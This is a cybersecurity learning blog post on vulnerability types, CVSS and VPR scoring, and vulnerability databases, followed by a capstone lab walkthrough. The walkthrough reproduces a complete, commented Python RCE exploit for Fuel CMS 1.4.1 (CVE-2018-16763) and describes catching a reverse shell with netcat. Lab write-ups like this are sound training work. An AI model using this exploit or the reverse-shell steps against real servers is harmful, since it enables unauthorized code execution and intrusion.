Day 3 : Vulnerability Research

This is a 3 rooms module that explore everything related to vulnerabilities. But first, what is a vulnerability ?

Cybersecurity with Jojo

~7 min read · January 28, 2026 (Updated: January 28, 2026) · Free: Yes

In cybersecurity, a vulnerability refers to a weakness within a system, application, or process that can be abused by an attacker. These weaknesses may arise from design flaws, implementation errors, or unintended behaviors, and they can allow an adversary to access sensitive data or perform actions without proper authorization. Although many cybersecurity organizations provide their own definitions of the term, the underlying concept remains largely consistent across the field. For instance, the National Institute of Standards and Technology (NIST) describes a vulnerability as a weakness in an information system, its security controls, or its implementation that could be exploited by a threat actor. While the wording may differ, the essence is the same: vulnerabilities are opportunities for exploitation. Vulnerabilities can emerge for a wide range of reasons. They may result from insecure architectural choices, overlooked edge cases, or incorrect assumptions about how users interact with a system. In many cases, they are not caused by a single error, but by a combination of technical and human factors.

Common Categories of Vulnerabilities

There are numerous ways to classify vulnerabilities, but they can generally be grouped into five broad categories:

Operating System Vulnerabilities These weaknesses exist at the operating system level and often enable attackers to escalate privileges, gaining higher levels of access than intended.
Misconfiguration Issues Configuration-related vulnerabilities occur when services or applications are deployed insecurely. Examples include exposed administrative interfaces, publicly accessible databases, or improper access control settings.
Weak or Default Credentials Many systems ship with default usernames and passwords, particularly for administrative functions. If these credentials are not changed, they become trivial targets for attackers.
Application Logic Flaws These vulnerabilities stem from poor application design rather than technical bugs. Examples include flawed authentication flows or authorization checks that allow an attacker to impersonate other users or bypass restrictions.
Human-Factor Vulnerabilities Not all vulnerabilities are purely technical. Social engineering attacks, such as phishing, exploit human trust, habits, or lack of awareness to compromise systems indirectly.

Understanding Vulnerability Management

Vulnerability management refers to the continuous process of identifying, assessing, prioritising, and mitigating security weaknesses within an organisation's systems and infrastructure. Its objective is not merely to find vulnerabilities, but to make informed decisions about which ones require immediate attention and which can be addressed later. In practice, eliminating every vulnerability across a network is neither realistic nor efficient. Large environments constantly evolve, new flaws are discovered daily, and remediation efforts consume time, budget, and operational resources. As a result, organisations must focus on what truly matters rather than attempting exhaustive patching. That's why we have the Vulnerabilities Scoring : Vulnerability scoring provides a structured way to estimate the severity and potential impact of a vulnerability. By assigning numerical values and qualitative ratings, organisations can compare vulnerabilities and prioritise remediation efforts more effectively. Several scoring frameworks exist, each with a different philosophy and set of assumptions. In this article, we will focus on two widely used approaches and examine how they differ in practice: CVSS and VPR.

Commun Vulnerability Scoring System : is one of the most established frameworks for assessing vulnerability severity. CVSS calculates a severity score by evaluating multiple technical characteristics of a vulnerability, including:

How difficult the vulnerability is to exploit
Whether exploitation can be performed remotely or locally
The potential impact on confidentiality, integrity, and availability (the CIA triad)
The maturity and availability of exploits

Due to the number of variables involved, CVSS scores are typically computed using a dedicated calculator. The final score ranges from 0 to 10 and maps to a qualitative severity level: None, Low, Medium, High, Critical.

CVSS offers several advantages. It is well-established, widely recognised across the industry, and freely available. It is also recommended by major standards bodies and commonly used as a baseline severity indicator. However, CVSS was never designed to directly support vulnerability prioritisation. It focuses on intrinsic severity rather than contextual risk. In addition, CVSS scoring often remains static over time, even when new exploits or attack techniques emerge. This can lead to situations where vulnerabilities with high CVSS scores receive attention despite posing little real-world risk to a specific organisation.

Vulnerability Priority Rating (VPR): is a more recent framework developed by Tenable, designed specifically to address the gap between severity and real-world risk. Unlike CVSS, VPR is explicitly risk-driven, with an emphasis on how likely a vulnerability is to be exploited in practice and how relevant it is to a given environment, While VPR uses the same numerical range as CVSS (0 to 10), its scoring logic is different, meaning the same vulnerability can receive very different scores under each framework (Low, Medium, High, Critical)

VPR's primary strength lies in its real-world orientation. It evaluates a large number of risk signals and is designed to help organisations decide what to patch first, rather than simply indicating severity. On the other hand, VPR is not an open framework and is only available through commercial platforms. Additionally, while it excels at risk prioritisation, it places less emphasis on the CIA triad compared to CVSS, which may be a limitation for organisations that rely heavily on impact-based risk models.

Vulnerability Databases

Everyday new findings arise in cybersecurity related to vulnerabilities, to keep track thankfully there are website/databases that sort all of them by software, OS, and more. Two of them are the : - National Vulnerability Database NVD - Exploit-DB

Vulnerability : the flaw/weakness found in the design, implementation or behavior of the system of application. Exploit : action or behaviour that utilises a vulnerability on a system or application. Proof Of Concept (PoC): a technique or a tool that often demonstrates the exploitation of a vulnerability.

Vulnerability Capstone

Now that we have the definition and the context related to the Vulnerability Research track, let's try the Vuln. Capstone challenge room!

Task 1 : is just a comprehension of the challenge.

Task 2 : a. The name of the application is written after opening the browser and navigating to the IP address mentioned. b. The Number version is just next to the application name. c. To be able to find the CVE, we just need to write the name, version of the application, remote code execution and it appears. d. There are a lot of exploits already available, so naturally the first one that I wanted to try, was the first one appearing on Exploit-DB.

It's the number 47138, and here is what he does :

# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (RCE)
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Target: Fuel CMS <= 1.4.1
# CVE: CVE-2018-16763
#
# Description:
# This exploit abuses a PHP code injection vulnerability in the "filter"
# parameter of Fuel CMS. It allows an attacker to execute arbitrary system
# commands on the remote server, resulting in Remote Code Execution (RCE).

import requests        # Used to send HTTP requests to the vulnerable server
import urllib          # Used to URL-encode user-supplied commands

# Base URL of the vulnerable Fuel CMS instance
url = "http://127.0.0.1:8881"

def find_nth_overlapping(haystack, needle, n):
    """
    Finds the index of the n-th occurrence of 'needle' in 'haystack',
    including overlapping occurrences.

    This is later used to clean up duplicated output returned
    by the vulnerable application.
    """
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start + 1)
        n -= 1
    return start

# Infinite loop to simulate a pseudo interactive shell
while 1:
    # Read a system command from the user (e.g. id, whoami, ls)
    xxxx = raw_input('cmd:')

    # Build the malicious URL exploiting the vulnerable "filter" parameter
    #
    # The payload injects PHP code that:
    # 1. Assigns the string "system" to the variable $a
    # 2. Calls $a(<command>), which becomes system(<command>)
    #
    # This results in arbitrary command execution on the server.
    burp0_url = (
        url +
        "/fuel/pages/select/?filter="
        "%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29"
        "%2b%24%61%28%27" + urllib.quote(xxxx) + "%27%29%2b%27"
    )

    # Route the HTTP request through Burp Suite for inspection/debugging
    proxy = {"http": "http://127.0.0.1:8080"}

    # Send the malicious GET request to the target
    r = requests.get(burp0_url, proxies=proxy)

    # HTML marker used to detect where the CMS normal page output begins
    html = "<!DOCTYPE html>"

    # Find the first occurrence of standard HTML content
    htmlcharset = r.text.find(html)

    # Grab the first 20 characters of the response
    begin = r.text[0:20]

    # Find the second occurrence of this substring to detect duplicated output
    dup = find_nth_overlapping(r.text, begin, 2)

    # Print only the command execution output,
    # excluding duplicated or irrelevant HTML content
    print r.text[0:dup]

If you aren't using burpsuite to check the requests, you can change the GET request and you'll have access to the cmd as well :

# the request modified if Burpsuite isn't used.
    r = requests.get(burp0_url)

Although this vulnerability allows remote command execution, it does not provide a fully interactive shell. Each command is executed in a separate process, meaning the execution context is not preserved between requests. As a result, commands such as cd do not persist across executions, since the working directory is reset every time a new command is run. To work around this limitation, commands must be chained within a single execution or executed using absolute paths.

When we click on the hint however, we can see that there's already a provided exploit associated with the path on the attackbox.

To use it we need to python3 exploit.py IP@ And as we can see there's a reverse shell* with netcat** proposed. So in another terminal we use nc -nlvp 1234 We use the command shell_me our IP@:the port, and we'll be able to get what we want ! After that we just need to follow the right path in /home/ubuntu and we finished the room :)

Hope you had fun ! :)

*A reverse shell is a technique where the compromised machine initiates a connection back to the attacker's system and provides a command-line interface. Unlike a traditional bind shell, which listens for incoming connections on the target, a reverse shell bypasses many firewall restrictions by using an outbound connection. This gives the attacker a more stable and interactive shell for post-exploitation tasks such as navigation, persistence, and privilege escalation.

**Netcat is a networking utility used to create TCP or UDP connections, listen for incoming connections, and relay data between systems. In offensive security, ncat is commonly used to catch reverse shells, forward traffic, or establish simple backdoors due to its flexibility and ease of use.